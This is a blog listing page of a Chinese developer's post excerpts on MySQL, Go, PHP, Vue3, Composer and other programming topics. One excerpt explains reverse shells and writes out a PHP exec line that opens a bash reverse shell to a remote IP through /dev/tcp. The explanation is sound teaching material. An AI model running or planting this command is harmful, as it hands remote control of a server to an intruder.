自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(77)
  • 收藏
  • 关注

原创 mysql8.0常用语法

从名字我们可以看出,该函数是对json字符串进行拆分的,而我们的frend字段存的不是json字符串,所以需要进行处理把friend字段拼接成json字符串,如下。现在因为某些需求,需要把friend字段进行拆分,并且和name、sex再次组成一条新的数据进行展示,如下。此时可以使用CROSS JOIN 函数,把friend进行拆分作为一个虚拟表后尽心联表查询,语法如下。在这个查询中,CTE首先选出了与e直接关联的d,然后递归地向上找到d、c、b、a的关系。– 假定有如下的关联表结构。

2024-05-13 16:21:44 457 1

原创 Yii2项目使用composer异常记录

在yii2项目中,使用require命令安装依赖时,出现如下错误提示该提示意思是:composer运行时,执行了yiisoft/yii2-composer目录下的插件,但是该插件使用的API版本是1.0,但是当前的cmposer版本提供的API接口本本是2.2.0,导致该插件无法正常执行。建议使用composer update --no-plugins 命令,把插件相关的组件升级到最新版本,让插件依赖的API版本升级到2.0以上。

2024-02-18 11:52:17 555

原创 composer常用命令

并且会生成和更新composer.json文件和composer.lock文件。在生产环境下,直接使用composer update命令是有较大风险的,因为它会去读取 composer.json 中依赖,拉取满足条件的最新依赖包,很容易出现问题。如果composer.lock文件不存在,则读取composer.json第三方组件及其版本,然后安装到vendor目录下。如果依赖的第三方组件有版本更新,update会将最新的版本安装到vendor目录下,并更新composer.lock。

2024-02-01 15:13:52 675

原创 花生壳使用记录

花生壳升级后,配置内网穿透时提示只能使用https。但其实赠送的两个域名有一个是可以免费配置https的,可以挨个试试。

2023-12-19 16:11:52 474

原创 PHP通过pem文件校验签名异常

在对接第三方支付过程中,支付成功异步回调时,校验签名,一直无法通过。但是在支付成功同有一个同步返回也需要校验签名,用的是同样的 校验方法,都没有问题。把回调时传递的参数放在postman中,手动发起回调,也可以通过签名校验最后经过排查,是引用秘钥文件时,报错了,错误代码如下上面代码其实是没有问题的,问题出在rsa_public.pem文件的内容,秘钥内容都写在同一行了,没有按照标准的秘钥格式书写,如下。

2023-09-15 17:44:26 330

原创 Charles抓包工具基本配置

这么做是因为默认端口8888,会和某些http地址冲突,出现无法请求 的情况。

2023-09-07 16:57:07 86

原创 阿拉伯数字转中文大写

【代码】阿拉伯数字转中文大写。

2023-04-28 16:11:43 141

原创 canvas的基本使用

剪裁后,绘制的图像和路径,只有在剪裁的路径内的部分会展示,超出的部分不展示制作圆形头像就是使用该原理,先绘制圆形路径,让后让如图片,即可如果想在剪裁区之外绘制图形,需要在clip之前使用save()方法,然后再clip之后使用restore()方法

2023-01-13 16:35:15 415 1

原创 面向对象设计原则快速理解

面向对象设计原则有7个,但有的地方把常用的前5个简称为五大原则。

2022-09-13 18:03:32 223

原创 php异常和错误处理机制

当代码中有多处异常需要抛出时,我们可以不必每次都使用try…catch处理,完全可以统一处理。这时我们可以用set_exception_handler 方法,注册一个异常监听方法。当有异常抛出时,且没有被 try … catch 捕获处理的话,此时系统会检查上下文是否注册了 set_exception_handler。如果未注册 则进入 PHP 标准错误处理 致命错误退出执行。如果已注册 则进入 set_exception_handler 处理 程序依然会退出执行。

2022-09-08 18:09:54 2020

原创 protocol-buffer安装和使用

protocol buffer是Google发布的一种独立的数据交换格式,类似于json,用于数据的序列化和解析。不同点是不能直接在各编程语言中使用,需要先在一个proto文件中定义需要传输的数据格式,然后使用proto工具把proto文件编译成想要的语言,如java、go、php等。然后在代码中,使用语言对应的protocol buffer包调用proto工具生成的文件,完成数据的序列化。

2022-08-25 11:01:17 1484

原创 golang常用包

但是当需要解密的数据是接口类型时,由于接口的特殊性,实现了接口中方法的变量可以作为值代替该方法,这导致gob不知道接口中数据的具体类型,会解密失败,如下。不同的是,在反序列化时,需要有一个指定格式的变量接收值。解析切片中的某个数字,要知道该数字在切片中占用的起始位置,若位置不对则无法解析出正确的数字,返回0。切片中可以插入字符串,转换为数字时,只要能够从正确的位置开始解析,就会解析出正确的数字。所谓大端和小端节序,是指不同cpu再把数据流转换为字节时,排位位置的不同,如下。

2022-08-23 17:00:18 697

原创 golang RPC包的使用和源码学习(下):tinyrpc项目源码学习

项目是github上的一个开源项目,自定义了一个基于protocol-buffer的编码器。除此之外还自定义了数据的压缩方式(提高传输速度),自定义了请求头内容(提高了安全性),关于项目的讲解可查看原作者知乎文章。下载项目后,项目根目录下的client.go和server.go文件是建立客户端和服务端时,分别需要用到的两个文件,我们先查看client.go。查看创建客户端编码器的文件,codec/client.go。本篇公章主要主要从代码阅读角度出发,学习go的编程思想。

2022-08-22 18:01:58 618

原创 golang RPC包的使用和源码学习(上):基本原理和简单使用

本篇文章旨在通过学习rpc包和github上的一个rpc小项目,熟悉和学习golang中各个包的使用。

2022-08-16 17:49:54 414

原创 golang基础配置和常用命令

go bulid每次执行都要重新编译所有包文件,而go install则会先检查包对应的.a文件,如果包文件未修改,则直接使用.a文件,不需要重新编译,提高了速度。golang在1.11开始才支持mod,在此之前,go使用go get 命令下载依赖包,和项目代码都必须在gopath/src目录下。如果项目很大,每次编译都要花很长时间,则建议使用 go install 来编译,充分利用它对依赖包的缓存功能。文件中引入了gin框架包,我们可以先使用 go get命令先现在依赖,再执行main.go文件。....

2022-08-03 17:34:27 341

原创 常用算法记录整理

然后从$arr中查找,键值是以1开头的,以1之后的节点结尾的路径。如果有,且路径值+1节点的权值

2022-07-28 18:07:32 1452

原创 go+mysql+redis+vue3简单聊室,第6弹:使用vue3和element-plus调用接口

我们使用go实现了聊天应用的接口和数据同步后,就可以开始着手使用vue搭建前端页面,并且调用接口了。本篇文章不会详细说明vue3和相关组件的使用方法,有需求的可以直接查看官方文档接口即可首先安装node.js,安装成功后,使用npm命令行安装vue3。安装完vue3后,在指定目录使用vue命令创建一个项目脚手架。node.js和vue的安装问题可以。...

2022-07-19 16:38:15 604

原创 vue3使用记录

找到node.js的安装目录,把npm.cmd文件中的prefix-g修改为prefix--location=glocal保存后,再次打开命令窗口,执行npm命令不再提示异常。使用中发现,element组件中有些有些属性是一个静态值,不需要绑定动态数据时,但是使用时还是需要进行绑定,否则无效。使用,需要在setup中调用,不能在setup中定义的方法内调用,和globalPropertie类似。除了字符串类型的属性,其他类型的参数,我们最好加上冒号,以避免属性不生效。...

2022-07-19 11:01:23 413

原创 go+mysql+redis+vue3简单聊室,第5弹:使用消息队列和定时任务同步消息到mysql

完成消息发送后,我们需要保存聊天记录到数据库中。像聊天记录这种访问不频繁的冷数据,保存在mysql数据是常规做法。但是当用户增多,消息发送频率上升,会在短时间频繁链接mysql,大并发下会造成mysql的阻塞我们可以使用reids消息队列作为中间缓冲,先把用户的聊天记录保存在队列中,在服务器空闲时段,使用定时任务,在把数据同步到mysql中即可。redis是基于内存的,可以承受比mysql大得多的并发。......

2022-07-15 18:01:50 753

原创 go+mysql+redis+vue3简单聊室,第4弹:gin的websocket通讯和多go程任务处理

前面我们使用gin的路由实现了常规的http请求,但是聊天是基于websocket的,我们需要建立一个新路由,用于接收websocket请求。websocket的建立是基于http的,一开始需要通过http建立联系,所以我们是可以通过http路由监听到websocket请求的,然后判断请求类型,是websokcet的话,就建立真正的websocket服务gin处理websocket就是用上述方式进行的。修改routes/route.go,如下在go中,一个http请求就是一个协程,代码执行结束后该协程就结

2022-07-14 17:14:49 1550

原创 go+mysql+redis+vue3简单聊室,第3弹:使用session和gin模板

虽然现在的接口大部分都使用token保持状态,但session和cookie作为经典方案,我们还是有必须要了解下如何使用。golang原生路由和gin框架路由都没有实现自动开启cookie,需要我们手动去配置项目开始阶段,我们先使用gin的模板渲染,在常规html页面实现聊天效果,最后再向vue过渡在根目录创建views目录,在目录中创建index.html和login.html文件login.htmlindex.html改造路由文件修改后的 routes/route.go 文件如下修改后,请求接

2022-07-13 16:31:53 539

原创 go+mysql+redis+vue3简单聊室,第2弹:数据库链接和操作

在根目录下创建config目录,目录下存放全局需要用到的一些配置文件创建配置文件config.ini创建用于解析配置文件的 config.go连接数据库根目录下创建models目录,存放mysql相关的操作文件创建mysql.go创建数据表modelgorm操作数据表,是基于一个struct类型的变量进行的,struct 中属性和类型需要与表一一对应,所以们需要建立两个文件,相当于是表对应的model,用以对两个表进行声明和操作先建立两个表,user和msg在models文件夹下建立use

2022-07-13 14:25:08 481

原创 go+mysql+redis+vue3简单聊室,第1弹:接口路由搭建和传参

我们首先在go的工作目录下下创建一个项目目录,project1。在项目目录中我们建立一个routers目录,用于存放路由相关文件。创建一个route.go文件,如下在项目根目录下创建项目启动文件main.go,如下在项目根目录下,执行命令行:go run main.go 运行程序postman中,请求注册方法,地址为:127.0.0.1:8080/user/register我们看到命令行中打印出了 相关内容,但是postman没有任何内容输出,方法还需要改造,让方法返回数据给response再次请

2022-07-12 18:15:08 534

原创 go中反射的基本使用

文章目录对接口类型变量取值自定义CallUserFuncArray方法对接口类型变量取值m := make(map[string]interface{})m["session_id"] = "ssffsdfdfs"m["people"] = map[string]interface{}{"name":"zhangsan","age":18}fmt.Print(m["peolpe"]["name"])上面代码打印时会报错,这是因为people对应的是接口类型的值,不能使用map取值的方式取值需

2022-05-25 11:59:29 439

原创 go中指针相关操作记录

当我们使用一些方法时,需要传入变量的指针。go中对于指针的操作有相当明确的规定,不是任何变量和值都可以操作指针的可寻址情况一个变量: &x指针引用(pointer indirection): &*xslice 索引操作(不管 slice 是否可寻址): &s[1]因为 slice 底层实现了一个数组,它是可以寻址的可寻址 struct 的字段: &point.X可寻址数组的索引操作: &a[0]composite literal 类型: &s

2022-05-19 15:41:26 472

原创 go常用方法使用记录

文章目录1、生成指定长度随机字符串2、生成多级目录3、生成新文件,并写入数据4、向文件中追加数据5、map声明和初始化的3种形式6、map的json操作7、接口类型值的使用1、生成指定长度随机字符串//首先定义一个指定长度的 字节类型的切片b := make([]byte,32)//然后使用随机数填充切片if _,err := io.ReadFull(rand.Reader,b);err != nil{ fmt.Printl("生成异常:"+err)}//把切片转换为字符串var str

2022-05-13 17:29:04 165

原创 GO切片避坑记录

首先我们记录下切片的几种声明方式//声明一个当前长度、容量都为0的切片var slice []intslice := make([]int,0,0)slice := []int{}//通过数组声明切片arr := [5]int{1,2,3,4,5}slice := arr[:3]var slice []int = arr[:3]1、append不会自动追加append不像类似PHP的array_push函数,会直接改变原数组的值。append需要使用原切片的变量接收该方法的值,原切片

2022-04-21 18:19:26 292

原创 Yii2 用户认证相关使用记录

基础使用首先在应用的配置文件中进行如下配置'components' => [ 'user' => [ //用于获取验证状态的系统类 'class' => 'yii\web\User', //用于获取用户信息的自定义类,继承了model类,并且实现了接口 yii\web\IdentityInterface 'identityClass' => 'common\models\Us

2022-03-16 18:20:14 1327

原创 Neo4j数据库使用记录

1、数据库的安装和访问从neo4j官网下载windows版文件,解压到相应目录后,在bin目录下执行:neo4j install-service 命令,把neo4j作为一个服务安装到电脑。执行该命时,需要确保电脑上已安装了与安装的neo4j版本匹配的java环境,否则会报错。我使用的是neo4j3.5.31,java8安装成功后,需要到服务中开启neo4j服务,然后在浏览器访问localhost:7474即可2、名称和标签的作用数据库是由节点和关系组成的。节点和关系都有名称和标签,那么名称和标签的

2022-03-11 15:29:19 1192

原创 取消浏览器启动时的默认主页

最近使用chrome和Edge浏览器时,启动打开的默认标签页不是空白页,chrome默认打开的是2345导航页,edge打开的是360导航页,真他妈的烦的要命在设置-》启动选项设置后也无效,最后发现应该是浏览器启动文件被劫持了。首先查看快捷方式属性发现edge是快捷方式被劫持了,删除后面的url后,重新打开浏览器,出现空白的新标签页,完美。查看chrome的快捷方式,发现目标选项没有多余的url,但还是会打开2345导航页。这个时候我们只要按照起始位置找到chrome的执行文件chromr.exe

2022-01-18 15:19:13 1371 1

原创 反弹shell原理和实现

当一些框架和代码,不小心让可执行shell命令的函数存在注入漏洞时,会被利用注入漏洞执行一些shell命令。入侵者为了防止漏洞被修复,无法通过正向链接侵入服务器时,会被利用shell反弹原理种马。首先,侵入者会利用注入参数,创建一个shell.php文件,文件内容如下通过web访问并执行shell.php文件exec('bash -i &> /dev/tcp/10.201.61.194/5566 0>&1');这条命令的作用是,在服务器建立一个可以与10.201.61.

2022-01-18 12:01:28 3497

原创 一次完整的HTPPS请求

文章目录第一次http请求443端口第一次数据发送:客户端发起第二次数据发送:服务器发起第三次数据发送:客户端发起第四次数据发送:服务端发起第二次http请求https的本质首先我们知道,http是基于TCL/IP协议。在http的基础上,在TCP/IP与http中间加一层SSL加密协议,就变成了HTTP over SSL,简称https。一次完整的https请求,其实是由两次http请求构成的第一次http请求443端口HTTPS工作在443端口,所以第一次http请求443端口这次请求的主要

2022-01-13 15:40:05 4671

原创 微信支付-企业付款到零钱

微信支付API文档中,关于企业付款到零钱的api的使用讲解,大致能够了解接口的调用规则,不过在过程中有些坑还是难以避免。配置好参数后,使用curl调起接口,如下 $curl = curl_init(); curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_

2022-01-05 18:21:20 2799

原创 linux下mysql的一些基本操作

文章目录1、允许mysql被远程连接1、允许mysql被远程连接首先使用root账号登录mysql登录后执行如下操作use mysql;select user,host from mysql.user;结果如下user和host表示可以连接mysql的用户和主机,我们发现host都是指向本机地址。我们用哪个账户进行远程连接,就把该账户的host修改为%,表示不限制主机地址,具体命令如下update user set host = '%' where user = 'root';执行

2021-10-08 15:03:11 124

原创 linux下Elasticsearch和Logstash的安装和使用

这里写目录标题安装第一步 下载并解压文件第二步 修改配置文件第三步 安装前用户和环境设置1、修改虚拟内存区域数量2、新建es用户3、设置es用户的环境变量4、安装安装由于是初次安装和使用es,对es的运行环境和安装过程不了解,做了很多无用的事。比如我安装的是es7.15,这个版本的es不需要要安装java环境,因为他自带java JDK。下面是具体的安装步骤第一步 下载并解压文件我们在官网下载好tar.gz文件后,把文件解压到/usr/local目录后,修改es目录为自己想要的名字,我把解压后的

2021-09-30 14:54:00 713

原创 正则使用记录

目标字符串<td width="50%"><p style="text-align:left"> <span style="font-family:'Times New Roman'">A.</span>Blended schools.</span></p></td><td width="50%"><p style="text-align:left;"> <span style="

2021-06-25 17:38:26 85

原创 JS原生拖动图片排序

<div class="box"><div draggable="true" ondragstart="dragStart(event)" id="woshi1" ondragover="allowDrop(event)" ondrop="drop(event)"><img src="1.jpg" alt=""/> </div><div draggable="true" ondragstart="dragStart(event)" id="wosh

2021-05-17 10:26:42 304

原创 Windwos安装redis异常处理

window安装redis后,在命令行直接运行redis-clis可访问到redis服务,可是在“我的电脑”》》“服务”中,redis却显示的未启动,点击启动报1067错误。远端链接redis服务时,链接不上。远端服务器使用telnet 测试redis的6379端口,提示telnet:Unable to connect to remote host:Connection refused把windwos防火墙关闭后,还是不能ping通6379端口,但是80端口可以正常链接,这就排除了网络设置和防火

2021-04-20 18:01:15 180

原创 PHP多进程学习记录

pcntl_fork是创建了一个子进程,父进程和子进程 都从fork的位置开始向下继续执行,不同的是父进程执行过程中,得到的fork返回值为子进程号,而子进程得到的是0。基本使用代码如下$pid = pcntl_fork();//父进程和子进程都会执行下面代码if ($pid == -1) { //错误处理:创建子进程失败时返回-1. die('could not fork');} else if ($pid) { //父进程会得到子进程号,所以这里是父进程执行的逻.

2021-04-08 17:13:37 253

原创 简单穿梭框代码

<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>穿梭框</title> <link rel="stylesheet" href="index.css"> <script src="jquery.min.js"></script> <style> ul,

2021-03-30 10:23:43 499

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除